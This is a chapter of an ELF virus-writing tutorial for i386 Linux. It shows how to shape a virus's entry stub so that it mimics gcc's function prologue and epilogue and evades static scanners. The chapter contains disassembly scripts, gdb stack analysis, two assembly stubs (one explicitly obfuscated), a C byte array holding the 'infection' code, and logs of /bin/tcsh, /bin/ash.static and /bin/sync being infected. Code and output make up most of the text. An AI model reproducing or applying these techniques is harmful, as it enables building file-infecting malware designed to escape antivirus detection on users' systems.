The stub revisited

The ELF Virus Writing HOWTO: i386-redhat8.0-linux
Prev |  | Next

# 12. The stub revisited

| A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer.
| Donald Knuth

The scanners Scan segments (i) and Scan entry point (i) Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. [1]

> asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.

The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.

1. A very simple check is alignment. We handle that in target_copy_and_infect #1 (i) and and copy_and_infect #2 (i). gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.

2. The improved versions of `patchEntryAddr` in The entry point do a primitive check of the call to `__libc_start_main`. Since we leave the entry point unmodified we pass this test.

3. The next step is to check entry code of functions called by `__libc_start_main`, especially `main`. We are vulnerable to this.

## 12.1. Disassembly

Section 10.5 patches the call of __libc_start_main to invoke our virus code instead of `main`. To stay undetected our code should mimic the real thing. The disassembly of our first program shows everything we need to know. But then that listing was retrieved through heavy cheating.

To disassembly the `main` of a regular executable we extend the exercise of Disassemble it again, Sam. The script performs no kind of error checking. Feeding anything else than executables built by gcc(1) can have strange effects (like no output at all). There is also no limit on output length. In the examples below the `Makefile` building this document used head(1).

Command: pre/i386-redhat8.0-linux/stub_revisited/intel.sh

    #!/bin/bash
    file=$( /bin/sed 1q \
    	out/i386-redhat8.0-linux/scanner/segment_padding/infect )
    [ -x ${file} ] || exit 1

    entry_point=$( /usr/bin/od -j24 -An -td4 -N4 ${file} )

    # 134512640 = 0x8048000
    # 24 = offset to address of main in code of _start
    main_point_ofs=$( expr ${entry_point} - 134512640 + 24 )
    main=$( /usr/bin/od -j${main_point_ofs} -An -td4 -N4 ${file} )
    main_ofs=$( expr ${main} - 134512640 )

    ndisasm -e ${main_ofs} -o ${main} -U ${file}

First a simple test. Compare with above mentioned disassembly.

Output: out/i386-redhat8.0-linux/stub_revisited/magic_elf.disasm

    0804A1F0  55                push ebp
    0804A1F1  89E5              mov ebp,esp
    0804A1F3  57                push edi
    0804A1F4  56                push esi
    0804A1F5  53                push ebx
    0804A1F6  81EC0C210000      sub esp,0x210c
    0804A1FC  83E4F0            and esp,byte -0x10
    0804A1FF  C7042405000000    mov dword [esp],0x5
    0804A206  C744240434A90808  mov dword [esp+0x4],0x808a934
    0804A20E  E8C5F9FFFF        call 0x8049bd8

A look at `tmp/doing_it_in_c/e3/sh_infected`.

Output: out/i386-redhat8.0-linux/stub_revisited/bash_infected.disasm

    0804A1F0  55                push ebp
    0804A1F1  89E5              mov ebp,esp
    0804A1F3  57                push edi
    0804A1F4  56                push esi
    0804A1F5  53                push ebx
    0804A1F6  81EC0C210000      sub esp,0x210c
    0804A1FC  83E4F0            and esp,byte -0x10
    0804A1FF  C7042405000000    mov dword [esp],0x5
    0804A206  C744240434A90808  mov dword [esp+0x4],0x808a934
    0804A20E  E8C5F9FFFF        call 0x8049bd8
    0804A213  C7042400000000    mov dword [esp],0x0

And this is plain `/bin/bash`.

Output: out/i386-redhat8.0-linux/stub_revisited/sh.disasm

    0804A1F0  55                push ebp
    0804A1F1  89E5              mov ebp,esp
    0804A1F3  57                push edi
    0804A1F4  56                push esi
    0804A1F5  53                push ebx
    0804A1F6  81EC0C210000      sub esp,0x210c
    0804A1FC  83E4F0            and esp,byte -0x10
    0804A1FF  C7042405000000    mov dword [esp],0x5
    0804A206  C744240434A90808  mov dword [esp+0x4],0x808a934
    0804A20E  E8C5F9FFFF        call 0x8049bd8

The first two instructions, making up three bytes, are constant. They are followed by an optional series of `push` to save special registers. Then comes a `sub esp` to reserve space for local variables. This also seems to be constant. The trivial program in The magic of the Elf does not use local variables and still ends up with a `sub`.

For the exit code of `/bin/bash` we need a better filter.

Command: pre/i386-redhat8.0-linux/stub_revisited/intel_ret.sh

    #!/bin/bash
    ( pre/i386-redhat8.0-linux/stub_revisited/intel.sh "$@" 2>&1 ) \
    | /bin/sed /ret/q \
    | /usr/bin/tail

Output: out/i386-redhat8.0-linux/stub_revisited/sh_ret.disasm

    0804AFD6  E8D5160000        call 0x804c6b0
    0804AFDB  E8D0290000        call 0x804d9b0
    0804AFE0  E82B180000        call 0x804c810
    0804AFE5  8D65F4            lea esp,[ebp-0xc]
    0804AFE8  31C0              xor eax,eax
    0804AFEA  5B                pop ebx
    0804AFEB  5E                pop esi
    0804AFEC  5F                pop edi
    0804AFED  5D                pop ebp
    0804AFEE  C3                ret

I call this weird. It seems that `0xc` byte are reserved on the stack just to stay unused. And why does one program use `leave` and the other `pop ebp`? A quote from the documentation [2] of `nasm` [3] :

> LEAVE ; C9 [186]

> `LEAVE` destroys a stack frame of the form created by the `ENTER` instruction [4] It is functionally equivalent to `MOV ESP,EBP` followed by `POP EBP`.

I guess that we are safe on that front. It's easy to check the existence of fixed byte values at a certain location (the entry code). But I doubt whether a static scanner could really realize whether a given exit code is just a dummy. Or what instruction a `ret` effectively jumps to.

## 12.2. Stack dump

Let's examine the stack of In the language of mortals just after the `sub` was executed. Note that you don't have to quote character "`$`" in interactive gdb(1) sessions. Instead of "`\$sp`" you type plain "`$sp`" to reference the stack pointer.

Command: pre/i386-redhat8.0-linux/stub_revisited/stack.sh

    #!/bin/bash
    file=${1:-tmp/i386-redhat8.0-linux/magic_elf/magic_elf}
    /usr/bin/gdb ${file} -q <<EOT
    	break main
    	run
    	backtrace
    	printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
    	x/3xw \$sp
    	x/3xw \$sp + 12
    	x/3xw \$sp + 24
    	x/3xw \$sp + 36
    EOT

Output: out/i386-redhat8.0-linux/stub_revisited/stack

    (gdb) Breakpoint 1 at 0x804832e
    (gdb) Starting program: /home/alba/.mnt/anton/virus-writing-HOWTO/tmp/i386-redhat8.0-linux/magic_elf/magic_elf

    Breakpoint 1, 0x0804832e in main ()
    (gdb) #0  0x0804832e in main ()
    #1  0x400364ce in __libc_start_main () from /lib/libc.so.6
    (gdb) esp=bffff8e0 ebp=bffff8e8
    (gdb) 0xbffff8e0:	0x08048370	0xbffff954	0xbffff928
    (gdb) 0xbffff8ec:	0x400364ce	0x00000001	0xbffff954
    (gdb) 0xbffff8f8:	0xbffff95c	0x08048246	0x08048370
    (gdb) 0xbffff904:	0x00000000	0xbffff928	0x400364b6
    (gdb)

## 12.3. Another look at the source

The program was stopped at address `0x804832e` in function `main`, which was called from `__libc_start_main`. We already encountered file

Source: src/stub_revisited/__libc_start_main

    # /usr/src/redhat/SOURCES/glibc-2.2.4/sysdeps/generic/libc-start.c

       121	  if (init)
       122	    (*init) ();
       123
       124	#ifdef SHARED
       125	  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
       126	    _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
       127	#endif
       128
       129	  exit ((*main) (argc, argv, __environ));
       130	}

Looks plausible.

## 12.4. A few bytes on the stack

Address | esp | ebp | Contents | Description
--- | --- | --- | --- | ---
The top three values on the stack are just random junk. The instruction just before our break point decremented `esp` by `0xc = 12` to use that space for local variables. They are not initialized yet, though.
`0xbffff8e0` | `esp + 0` | `ebp - 12` | `0x8048370` | random junk
`0xbffff8e4` | `esp + 4` | `ebp - 8` | `0xbffff954` | random junk
`0xbffff8e8` | `esp + 8` | `ebp - 4` | `0xbffff928` | random junk
Everything further down - including the next two values - must be preserved for the host code.
`0xbffff8ec` | `esp + 12` | `ebp + 0` | `0x400364ce` | saved ebp
`0xbffff8f0` | `esp + 16` | `ebp + 4` | `0x1` | return address
The next three values are the arguments of `main`. We declared the function as plain `main()` so gdb(1) does not know about these identifiers.
`0xbffff8f4` | `esp + 20` | `ebp + 8` | `0xbffff954` | `argc`
`0xbffff8f8` | `esp + 24` | `ebp + 12` | `0xbffff95c` | `argv`
`0xbffff8fc` | `esp + 28` | `ebp + 16` | `0x8048246` | `environ`
The next few values up to 0x400364ce (saved `ebp`) are local variables of `__libc_start_main`.

The new stub must fulfill a few constraints.

- Both entry code and exit code is fixed.

- The stack below `ebp + 0` must not be modified.

- After executing infectious code it must jump to the original host code.

- Original host code expects the value of `esp` to be `0xbffff8f0` and the value of `ebp` to be `0x400364ce` (values are not constant, just given for illustration).

## 12.5. First implementation

If we keep original exit code then we must modify the stack. The simplest approach is to move the original `ebp` one position (4 bytes) down. Original entry code already reserved 12 unused bytes so we don't have to adjust `esp`. In the free space we store the address of host code.

Source: src/one_step_closer/i2/i386_Linux_intel.S

    		BITS 32

    start:		push	dword 0		; replace with original entry address
    		pushf
    		pusha
    		call	body
    		popa
    		popf
    		ret

    		align 8
    body:		push	byte start + 1	; dummy operation to specifiy offset

The following disassembly shows stub and the first function of the C part, called `body`. The stub ends with a few `nop` instructions to align its size. Flow of control just continues from stub to `body`. Since this is a regular C function it also has standard entry code. But this does not matter because standard exit code starts with a `leave`. No matter how much stuff was pushed on the stack between end of stub and exit code of `body`, the `leave` instruction will pop off the moved `ebp`. The following `ret` then jumps to host code.

Output: out/i386-redhat8.0-linux/doing_it_in_c/e3i2.disasm

    08048A80  6800000000        push dword 0x0
    08048A85  9C                pushf
    08048A86  60                pusha
    08048A87  E804000000        call 0x8048a90
    08048A8C  61                popa
    08048A8D  9D                popf
    08048A8E  C3                ret
    08048A8F  90                nop
    08048A90  55                push ebp
    08048A91  89E5              mov ebp,esp
    08048A93  57                push edi
    08048A94  53                push ebx
    08048A95  E82A000000        call 0x8048ac4
    08048A9A  8D98008B0408      lea ebx,[eax+0x8048b00]
    08048AA0  89DF              mov edi,ebx
    08048AA2  FC                cld
    08048AA3  B9FFFFFFFF        mov ecx,0xffffffff
    08048AA8  B200              mov dl,0x0
    08048AAA  88D0              mov al,dl
    08048AAC  F2AE              repne scasb
    08048AAE  F7D1              not ecx
    08048AB0  49                dec ecx
    08048AB1  51                push ecx
    08048AB2  53                push ebx
    08048AB3  6A01              push byte +0x1
    08048AB5  6A04              push byte +0x4
    08048AB7  E818000000        call 0x8048ad4
    08048ABC  8D65F8            lea esp,[ebp-0x8]
    08048ABF  5B                pop ebx
    08048AC0  5F                pop edi
    08048AC1  C9                leave
    08048AC2  C3                ret
    08048AC3  90                nop
    08048AC4  55                push ebp
    08048AC5  89E5              mov ebp,esp
    08048AC7  E800000000        call 0x8048acc
    08048ACC  58                pop eax
    08048ACD  2DCC8A0408        sub eax,0x8048acc
    08048AD2  C9                leave
    08048AD3  C3                ret
    08048AD4  55                push ebp
    08048AD5  89E5              mov ebp,esp
    08048AD7  53                push ebx
    08048AD8  56                push esi
    08048AD9  57                push edi
    08048ADA  8B7D1C            mov edi,[ebp+0x1c]
    08048ADD  8B7518            mov esi,[ebp+0x18]
    08048AE0  8B5514            mov edx,[ebp+0x14]
    08048AE3  8B4D10            mov ecx,[ebp+0x10]
    08048AE6  8B5D0C            mov ebx,[ebp+0xc]
    08048AE9  8B4508            mov eax,[ebp+0x8]
    08048AEC  CD80              int 0x80
    08048AEE  5F                pop edi
    08048AEF  5E                pop esi
    08048AF0  5B                pop ebx
    08048AF1  C9                leave
    08048AF2  C3                ret

## 12.6. First test

Output: out/i386-redhat8.0-linux/doing_it_in_c/e3i2/infect

    /bin/tcsh ... wrote 160 bytes, Ok
    /bin/ash.static ... wrote 160 bytes, Ok
    /bin/sync ... wrote 160 bytes, Ok
    files=3; ok=3; failed=0

Output: out/i386-redhat8.0-linux/doing_it_in_c/test-e3i2

    ELF is dead baby, ELF is dead.
    pid=[22896]
    TERM=[xterm]
    ELF is dead baby, ELF is dead.
    22921
    ELF is dead baby, ELF is dead.
    ---
    ELF is dead baby, ELF is dead.
    22926

## 12.7. Second implementation

This is the same idea, only obfuscated by an intermediate `call`. Variations on this topic are endless.

Source: src/one_step_closer/i3/i386_Linux_intel.S

    		BITS 32

    		push	ebp
    		mov	ebp,esp
    		sub	esp,byte 0xc

    wrapper:	; replace -1 with address of original host code
    		mov	eax,dword -1
    		xchg	eax,[ebp]
    		sub	ebp,byte 4
    		mov	[ebp],eax
    		align 8

    		; dummy instruction to specify offset
    		push    byte wrapper + 1

Output = Source: out/i386-redhat8.0-linux/one_step_closer/i3/infection.inc

    const unsigned char infection[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x55,                          /* 00000000: push ebp               */
      0x89,0xE5,                     /* 00000001: mov ebp,esp            */
      0x83,0xEC,0x0C,                /* 00000003: sub esp,byte +0xc      */
      0xB8,0xFF,0xFF,0xFF,0xFF,      /* 00000006: mov eax,0xffffffff     */
      0x87,0x45,0x00,                /* 0000000B: xchg eax,[ebp+0x0]     */
      0x83,0xED,0x04,                /* 0000000E: sub ebp,byte +0x4      */
      0x89,0x45,0x00,                /* 00000011: mov [ebp+0x0],eax      */
      0x90,                          /* 00000014: nop                    */
      0x90,                          /* 00000015: nop                    */
      0x90,                          /* 00000016: nop                    */
      0x90                           /* 00000017: nop                    */
    }; /* 26 bytes (0x1a) */
    enum { ENTRY_POINT_OFS = 0x7 };

## 12.8. Second test

Output: out/i386-redhat8.0-linux/doing_it_in_c/e3i3/infect

    /bin/tcsh ... wrote 160 bytes, Ok
    /bin/ash.static ... wrote 160 bytes, Ok
    /bin/sync ... wrote 160 bytes, Ok
    files=3; ok=3; failed=0

Output: out/i386-redhat8.0-linux/doing_it_in_c/test-e3i3

    ELF is dead baby, ELF is dead.

### Notes

[1] | http://linuxassembly.org/asmutils.html
[2] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.94
[3] | http://sourceforge.net/projects/nasm/
[4] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.27

Prev | Home | Next
Doing it in C |  | Suspicious code